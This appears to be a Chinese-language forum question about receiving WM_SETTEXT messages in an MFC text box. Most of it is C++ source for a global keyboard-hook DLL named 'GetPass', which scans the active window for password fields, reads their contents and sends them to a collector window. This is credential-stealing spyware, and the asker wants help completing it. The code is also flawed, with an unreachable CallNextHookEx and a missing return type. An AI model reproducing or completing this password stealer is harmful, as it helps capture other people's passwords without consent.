关于动态链接库
想问一下我怎么在MFC中接受WM_SETTEXT的字符并在MFC文本框中显示出来呢?要用到哪些函数?会的帮我编个在MFC中接收DLL中SendMessage()函数WM_SETTEXT的信息并在MFC文本框中显示出来
#include <windows.h>
#pragma data_seg("MySec")
HHOOK hKeyBoardHook=NULL;
HWND hOutPutWnd=NULL;
HWND h_Keyboard=NULL;
HWND hwnd=NULL;
#pragma data_seg()
#pragma comment(linker,"/section:MySec,RWS")
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
if(hwnd)
{
LONG style=::GetWindowLong(hwnd,GWL_STYLE);
if(style&ES_PASSWORD)
{
char szPass[255];
::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass);
::SendMessage(h_Keyboard,WM_SETTEXT,0,(LPARAM)szPass);
return TRUE;
}
// UnhookWindowsHookEx(hKeyBoardHook);
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc( int code,
WPARAM wParam,
LPARAM lParam
)
{
if(code>=0)
{
HWND hTargetHwnd=GetActiveWindow();
if(hTargetHwnd)
{
EnumChildWindows(hTargetHwnd,EnumChildProc,0);
}
}
// UnhookWindowsHookEx(hKeyBoardHook);
return 0;
CallNextHookEx(hKeyBoardHook,code,wParam,lParam);
}
SetHook(HWND hwnd)
{
hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("GetPass"),0);
//hOutPutWnd=hwnd;
h_Keyboard=hwnd;
return TRUE;
}